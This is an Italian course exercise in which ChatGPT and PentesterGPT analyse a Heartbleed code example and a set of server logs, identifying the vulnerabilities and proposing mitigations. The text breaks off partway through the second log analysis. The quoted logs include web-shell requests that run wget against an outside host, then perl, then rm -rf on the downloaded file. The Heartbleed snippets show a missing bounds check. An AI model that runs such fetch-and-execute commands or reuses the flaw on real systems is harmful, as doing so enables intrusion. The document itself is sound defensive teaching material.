

IA e Cybersecurity

Analisi codice e Log

Sommario

Traccia esercizio principale	2
Analizza il codice in cerca di vulnerabilità	2
Svolgimento esercizio	3
Codice	3
ChatGPT	3
PentesterGPT	4
Log	7
ChatGPT	7
PentesterGPT	10

Traccia esercizio principale

Analizza il codice in cerca di vulnerabilità

1. <https://github.com/patricia-gallardo/insecure-coding-examples/blob/main/vulnerability/heartbleed.c>;
2. Analizza i log della slide seguente in cerca di attacchi.

```
Oct 2 06 25 46 host-vps sshd[8463]: Failed password for root from 116.31.116.17 port 31142 ssh2 Oct 2 06 25 48 host-
vps sshd[8463]: Failed password for root from 116.31.116.17 port 31142 ssh2 Oct 2 06 25 51 host-vps sshd[8463]: Failed
password for root from 116.31.116.17 port 31142 ssh2 Oct 2 06 25 51 host-vps sshd[8463]: Received disconnect from
116.31.116.17 11 [preauth] 191.96.249.97 -- 20/Apr/2017 15 45 49 0200 "GET
/phpmyadmin/scripts/setup.php HTTP/1.0" 404 162 "-" "-" "-" 190.129.24.154 -- 14/Jul/2015 06 41 59 0400
"GET /phpMyAdmin/index.php HTTP/1.1" 404 162 "-" "Python-urllib/2.6" "-" 190.129.24.154 -- 20/Apr/2017 09 04 47
0200 "PROPFIND /webdav/ HTTP/1.1" 405 166 "-" "WEBDAV Client" "-" 180.97.106.37 -- 20/Apr/2017 04 31 02
0200 "\"\x04\x01\x00P\xB4\xA3qR\x00" 400 166 "-" "-" "-" 216.244.82.83 -- 08/Oct/2016 01 02 03 0400
"POST /wp-comments-post.php HTTP/1.1" 200 3433 "http://www.website.com/" "Mozilla/5.0 Windows NT 6.1; Trident/7.0;
rv:11.0) like Gecko" "-" 112.90.92.106 -- 08/Oct/2016 01 23 09 0400 "POST /wp-comments-post.php HTTP/1.1"
200 3433 "http://www.website.com/" "Mozilla/5.0 Macintosh; Intel Mac OS X 10.9; rv:35.0 Gecko/20100101 Firefox/35.0" "-"
199.168.97.28 -- 08/Oct/2016 02 28 36 0400 "POST /wp-comments-post.php HTTP/1.0" 200 3421
"http://www.website.com/" "Mozilla/5.0 Windows NT 6.3; WOW64 AppleWebKit/537.36 KHTML, like Gecko)
Chrome/47.0.2526.111 Safari/537.36" "-" 192.185.4.146 -- 08/Oct/2016 09 19 13 0400 "POST /wp-comments-
post.php HTTP/1.1" 200 3433 "http://www.website.com/" "Mozilla/5.0 Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" "-"
client: 178.137.83.79, server: www.website.com, request: "GET /wp-content/plugins/formcraft/file-upload/server/php/upload.php
HTTP/1.1", host: "www.website.com" client: 191.101.235.206, server: www.website.com, request: "GET /wp-
content/plugins/revslider/temp/update_extract/revslider/blacunix.php?cmd=cd%20/tmp%20;wget%20http://nowosely.by//cache/
doc.txt%20;%20perl%20doc.txt%20;%20rm%20-rf%20doc.txt* HTTP/1.1", host: "www.website.com" client: 191.101.235.206,
server: www.website.com, request: "GET /wp-admin/user/reload-
x.php?cmd=cd%20/tmp%20;wget%20http://nowosely.by//cache/doc.txt%20;%20perl%20doc.txt%20;%20rm%20-rf%20doc.txt*
HTTP/1.1", host: "www.website.com" client: 191.101.235.206, server: www.website.com, request: "GET /wp-
admin/user/myluph.php?cmd=cd%20/tmp%20;wget%20http://nowosely.by//cache/doc.txt%20;%20perl%20doc.txt%20;%20rm%2
0-rf%20doc.txt* HTTP/1.1", host: "www.website.com" client: 222.108.76.91, server: www.website.com, request: "GET /wp-
login.php HTTP/1.1", host: "www.website.com" client: 90.73.82.117, server: www.website.com, request: "GET /wp-login.php
HTTP/1.1", host: "www.website.com" client: 109.64.27.55, server: www.website.com, request: "GET /wp-login.php HTTP/1.1", host:
"www.website.com" client: 49.149.16.66, server: www.website.com, request: "GET /wp-login.php HTTP/1.1", host:
"www.website.com" client: 91.200.12.47, server: www.website.com, request: "POST /xmlrpc.php HTTP/1.1", host:
"www.website.com" client: 83.24.28.210, server: www.website.com, request: "POST /xmlrpc.php HTTP/1.1", host:
"www.website.com" client: 177.129.13.106, server: www.website.com, request: "POST /xmlrpc.php HTTP/1.1", host:
"www.website.com" client: 186.32.202.243, server: www.website.com, request: "POST /xmlrpc.php HTTP/1.1", host:
"www.website.com" Oct 12 06 44 25 host-vps proftpd[14581] host-vps 110.11.148.226 110.11.148.226 FTP
session opened. Oct 12 06 44 26 host-vps proftpd[14581] host-vps 110.11.148.226 110.11.148.226 USER
admin: no such user found from 110.11.148.226 110.11.148.226] to xx.xx.xx.xx:21 Oct 12 06 44 28 host-vps
proftpd[14581] host-vps 110.11.148.226 110.11.148.226 FTP session closed. Oct 12 07 57 56 host-vps
proftpd[14904] host-vps 106.76.88.50 106.76.88.50 FTP session opened. Oct 10 18 43 08 host-vps
postfix/smtpd[9294]: connect from host53 251-static.114 81-b.business.telecomitalia.it[81.114.251.53 Oct 10 18 43
09 host-vps postfix/smtpd[9294]: disconnect from host53 251-static.114 81-b.business.telecomitalia.it[81.114.251.53 Oct
10 18 46 29 host-vps postfix/anvil[9296]: statistics: max connection rate 1/60s for (smtp:81.114.251.53) at Oct 10 18 43
08 Oct 10 18 46 29 host-vps postfix/anvil[9296]: statistics: max connection count 1 for (smtp:81.114.251.53) at Oct 10 18
43 08
```

Svolgimento esercizio

Codice

ChatGPT

Questo codice contiene una simulazione della vulnerabilità **Heartbleed** (CVE-2014-0160) presente in OpenSSL 1.0.1-1.0.1f. L'analisi mette in evidenza i principali problemi e vulnerabilità riscontrabili:

1. Heartbleed Vulnerability nella funzione `dtls1_process_heartbeat` (non corretta)

La versione vulnerabile (`dtls1_process_heartbeat`) non effettua controlli adeguati sulla lunghezza del payload dichiarato. Questo permette a un attaccante di inviare una richiesta Heartbeat con un payload più lungo di quanto effettivamente trasmesso, portando alla lettura e divulgazione di memoria non inizializzata dal buffer.

Dettagli:

- **Payload dichiarato e reale non congruenti:**

c

Copia codice

```
hbtype = *p++;
```

```
n2s(p, payload);
```

Il valore payload è letto direttamente dalla richiesta Heartbeat senza verificare se sia inferiore alla lunghezza effettiva del messaggio (`s->s3->rrec.length`).

- **Accesso a memoria oltre i limiti:**

c

Copia codice

```
memcpy(bp, pl, payload);
```

Questa copia del payload può leggere dati dalla memoria non appartenenti al messaggio ricevuto, permettendo di esfiltrare informazioni sensibili (come chiavi private, password o altri dati critici).

- **Nessun controllo sulla dimensione massima del buffer:** Il calcolo della memoria allocata non verifica che `1 + 2 + payload + padding` rientri entro limiti sicuri (es. `SSL3_RT_MAX_PLAIN_LENGTH`).

2. Versione corretta `dtls1_process_heartbeat_fixed`

La versione corretta introduce controlli per prevenire la vulnerabilità:

- **Verifica della lunghezza del messaggio prima dell'elaborazione:**

c

Copia codice

```
if (1 + 2 + 16 > s->s3->rrec.length)
```

```
    return 0; /* silently discard */
```

```
if (1 + 2 + payload + 16 > s->s3->rrec.length)
```

```
return 0; /* silently discard per RFC 6520 sec. 4 */
```

Qui si controlla che il payload dichiarato sia compatibile con la lunghezza effettiva del messaggio.

- **Limite massimo per la lunghezza del messaggio:**

c

Copia codice

```
if (write_length > SSL3_RT_MAX_PLAIN_LENGTH)
```

```
return 0;
```

Questo evita buffer overflow e accessi a memoria oltre i limiti.

3. Altri aspetti di sicurezza da considerare

a. Generazione di padding casuale con `RAND_pseudo_bytes`

La funzione `RAND_pseudo_bytes` non è criptograficamente sicura. Anche se non direttamente legato alla vulnerabilità Heartbleed, è buona pratica utilizzare una fonte sicura per generare padding, come `RAND_bytes`.

b. Lack of Logging or Alerts

Il codice vulnerabile scarta silenziosamente messaggi malformati. Anche se questa è una pratica comune per motivi di compatibilità, potrebbe rendere difficile rilevare tentativi di sfruttamento.

Conclusioni

La vulnerabilità principale risiede nella funzione non corretta `dtls1_process_heartbeat`, che permette a un attaccante di leggere dati dalla memoria del processo. Questo è stato corretto nella funzione `dtls1_process_heartbeat_fixed` introducendo controlli di validità sulla lunghezza dei dati.

Questa analisi evidenzia come la mancanza di controlli rigorosi sui dati non fidati possa portare a vulnerabilità gravi. Utilizzando queste conoscenze, un pentester può studiare il comportamento di Heartbleed per comprenderne gli effetti e testare sistemi per accertare che non siano vulnerabili.

PentesterGPT

Il codice fornito simula il comportamento delle funzioni coinvolte nella vulnerabilità Heartbleed in due versioni di OpenSSL: una vulnerabile (1.0.1f) e una corretta (1.0.1g). Analizziamo le funzioni `dtls1_process_heartbeat` e `dtls1_process_heartbeat_fixed` per identificare le vulnerabilità.

Vulnerabilità nel codice `dtls1_process_heartbeat` (OpenSSL 1.0.1f)

1. Mancanza di verifica della lunghezza del payload:

- Il codice non verifica se la lunghezza del payload specificato nel messaggio di richiesta Heartbeat è valida. Questo può portare a letture di memoria non autorizzata.
- c

Copy

```
n2s(p, payload);
```

```
pl = p;
```

- Non ci sono controlli per verificare se **payload** è inferiore o uguale alla lunghezza del buffer **s->s3->rrec.data**.

2. Assunzione di lunghezza minima del payload:

- Il codice assume che il payload abbia una lunghezza minima di 1 byte, ma non verifica se questa lunghezza è valida.
- c

Copy

```
unsigned int padding = 16; /* Use minimum padding */
```

3. Mancanza di verifica della lunghezza totale del messaggio:

- Il codice non verifica se la lunghezza totale del messaggio (1 byte per il tipo + 2 byte per la lunghezza del payload + payload + padding) è valida rispetto alla lunghezza del buffer.

Vulnerabilità nel codice `dtls1_process_heartbeat_fixed` (OpenSSL 1.0.1g)

1. Verifica della lunghezza del payload e del messaggio:

- Il codice corretto include verifiche per assicurarsi che la lunghezza del payload e la lunghezza totale del messaggio siano valide.
- c

Copy

```
if (1 + 2 + 16 > s->s3->rrec.length)
```

```
return 0; /* silently discard */
```

```
hbtype = *p++;
```

```
n2s(p, payload);
```

```
if (1 + 2 + payload + 16 > s->s3->rrec.length)
```

```
return 0; /* silently discard per RFC 6520 sec. 4 */
```

2. Controllo della lunghezza del messaggio:

- Il codice corretto verifica se la lunghezza totale del messaggio è valida rispetto alla lunghezza del buffer.
- c

Copy

```
if (write_length > SSL3_RT_MAX_PLAIN_LENGTH)
```

```
return 0;
```

Conclusione

La vulnerabilità principale nel codice **dtls1_process_heartbeat** (OpenSSL 1.0.1f) è la mancanza di verifiche adeguate sulla lunghezza del payload e della lunghezza totale del messaggio. Questo permette a un attaccante di specificare una lunghezza di payload arbitraria, portando a letture di memoria non autorizzate e rivelazione di dati sensibili.

Il codice **dtls1_process_heartbeat_fixed** (OpenSSL 1.0.1g) corregge queste vulnerabilità includendo verifiche per assicurarsi che la lunghezza del payload e la lunghezza totale del messaggio siano valide.

Raccomandazioni

- **Aggiornare OpenSSL:** Assicurarsi di utilizzare versioni aggiornate di OpenSSL che includono le correzioni per la vulnerabilità Heartbleed.
- **Revisione del codice:** Verificare e aggiornare il codice per includere le verifiche di lunghezza necessarie per prevenire letture di memoria non autorizzate.
- **Test di sicurezza:** Eseguire test di sicurezza regolari per identificare e correggere eventuali vulnerabilità nel codice.

[Log](#)

[ChatGPT](#)

Il log presenta diversi indizi di attività sospette e vulnerabilità potenziali, che possono indicare tentativi di attacco o configurazioni non sicure:

SSH Bruteforce

- **Log:**
Oct 2 06:25:46 host-vps sshd[8463]: Failed password for root from 116.31.116.17 port 31142 ssh2
 - **Vulnerabilità:**
Tentativo di forza bruta sull'account root tramite SSH.
 - **Mitigazione:**
 1. **Disabilitare l'accesso SSH diretto per root.** Configurare l'accesso con un altro utente con privilegi limitati e utilizzare sudo per compiti amministrativi.
 2. **Impostare autenticazione basata su chiave pubblica.**
 3. **Configurare un sistema di blocco temporaneo** (es. fail2ban) per IP con troppi tentativi falliti.
 4. Limitare l'accesso SSH a IP specifici tramite firewall.
-

Richieste sospette a PHPMyAdmin e WebDAV

- **Log:**

arduino

Copia codice

"GET /phpmyadmin/scripts/setup.php HTTP/1.0"

"GET /phpMyAdmin/index.php HTTP/1.1"

"PROPFIND /webdav/ HTTP/1.1"

- **Vulnerabilità:**
Tentativi di accesso non autorizzato a pannelli di amministrazione PHPMyAdmin e WebDAV, che sono spesso obiettivi per exploit di vulnerabilità note.
 - **Mitigazione:**
 1. **Rimuovere strumenti inutilizzati o non configurati.** Ad esempio, disabilitare WebDAV se non necessario.
 2. Proteggere PHPMyAdmin con autenticazione extra, come VPN o autenticazione HTTP di base.
 3. Monitorare le richieste HTTP anomale con un Web Application Firewall (WAF).
-

Tentativi di sfruttamento plugin WordPress

- **Log:**

arduino

Copia codice

```
"GET /wp-content/plugins/revslider/temp/update_extract/revslider/blacunix.php?cmd=..."
```

```
"POST /wp-comments-post.php HTTP/1.1"
```

- **Vulnerabilità:**

1. Sfruttamento di plugin WordPress vulnerabili (es. RevSlider).
2. Uso di endpoint come /wp-comments-post.php per spam o iniezione di codice.

- **Mitigazione:**

1. **Mantenere WordPress e i plugin aggiornati.**
 2. Disabilitare endpoint inutilizzati, come xmlrpc.php e commenti, se non necessari.
 3. Implementare plugin di sicurezza come Wordfence per rilevare attività sospette.
 4. Monitorare e limitare i tentativi di accesso a file critici con regole nel .htaccess.
-

Uso di script automatici per il download di payload

- **Log:**

perl

Copia codice

```
"GET /wp-admin/user/reload-x.php?cmd=cd%20/tmp%20;wget%20http://nowosely.by/cache/doc.txt;perl%20doc.txt;rm%20-rf%20doc.txt*"
```

- **Vulnerabilità:**

Tentativi di iniettare codice malevolo, scaricare payload da URL esterni e sfruttare vulnerabilità note.

- **Mitigazione:**

1. **Bloccare esecuzioni sospette.** Configurare regole di sicurezza avanzate nel server web per bloccare richieste con comandi shell (wget, curl, ecc.).
 2. Impostare regole di firewall per bloccare connessioni verso domini sospetti.
 3. Monitorare la directory /tmp per attività non autorizzate.
-

Tentativi FTP non autorizzati

- **Log:**

sql

Copia codice

Oct 12 06:44:26 host-vps proftpd[14581]: USER admin: no such user found from 110.11.148.226

- **Vulnerabilità:**
Tentativi di forza bruta o scansioni per utenti FTP validi.
 - **Mitigazione:**
 1. Disabilitare FTP in favore di protocolli più sicuri come SFTP.
 2. Bloccare utenti con troppi tentativi falliti tramite fail2ban.
 3. Limitare l'accesso FTP a IP autorizzati.
-

Spam via XML-RPC

- **Log:**

arduino

Copia codice

"POST /xmlrpc.php HTTP/1.1"

- **Vulnerabilità:**
L'endpoint xmlrpc.php è spesso sfruttato per attacchi DDoS amplificati, forza bruta, o spam.
 - **Mitigazione:**
 1. Disabilitare xmlrpc.php se non richiesto da plugin.
 2. Implementare un Web Application Firewall per bloccare richieste dannose.
-

Conclusione: Il log mostra una combinazione di attacchi di forza bruta, sfruttamento di vulnerabilità note e tentativi di spam. Le misure generali includono:

1. **Migliorare la configurazione di sicurezza di SSH e servizi web.**
2. **Monitorare e bloccare IP sospetti.**
3. **Mantenere aggiornato tutto il software.**
4. **Implementare protezioni come firewall, WAF e sistemi di blocco automatico per attività anomale.**

Il log fornisce una serie di eventi di sicurezza relativi a un server VPS (Virtual Private Server). Analizziamo alcuni punti chiave per identificare le vulnerabilità e i potenziali problemi di sicurezza:

1. Tentativi di accesso SSH non autorizzati

Copy

Oct 2 06:25:46 host-vps sshd[8463]: Failed password for root from 116.31.116.17 port 31142 ssh2

Oct 2 06:25:48 host-vps sshd[8463]: Failed password for root from 116.31.116.17 port 31142 ssh2

Oct 2 06:25:51 host-vps sshd[8463]: Failed password for root from 116.31.116.17 port 31142 ssh2

Oct 2 06:25:51 host-vps sshd[8463]: Received disconnect from 116.31.116.17: 11 [preauth]

- **Problema:** Tentativi ripetuti di accesso SSH non autorizzati come root.
- **Rischio:** Potenziale accesso non autorizzato al sistema.
- **Mitigazione:**
 - Utilizzare chiavi SSH invece di password.
 - Configurare il firewall per bloccare indirizzi IP sospetti.
 - Abilitare la protezione contro gli attacchi di forza bruta (ad esempio, utilizzando **fail2ban**).

2. Tentativi di accesso FTP non autorizzati

Copy

Oct 12 06:44:25 host-vps proftpd[14581] host-vps 110.11.148.226:110.11.148.226: FTP session opened.

Oct 12 06:44:26 host-vps proftpd[14581] host-vps 110.11.148.226:110.11.148.226: USER admin: no such user found from 110.11.148.226 to 110.11.148.226] to xx.xx.xx.xx:21

Oct 12 06:44:28 host-vps proftpd[14581] host-vps 110.11.148.226:110.11.148.226: FTP session closed.

- **Problema:** Tentativi di accesso FTP non autorizzati.
- **Rischio:** Potenziale accesso non autorizzato al server FTP.
- **Mitigazione:**
 - Abilitare l'autenticazione FTP sicura.
 - Configurare il firewall per bloccare l'accesso FTP non autorizzato.
 - Utilizzare VPN o tunnel sicuri per l'accesso FTP.

3. Tentativi di esplorazione e accesso a file e directory sensibili

Copy

client: 191.101.235.206, server: www.website.com, request: "GET /wp-content/plugins/revslider/temp/update_extract/revslider/blacunix.php?cmd=cd%20/tmp%20;wget%20http://nowosely.by//cache/doc.txt%20;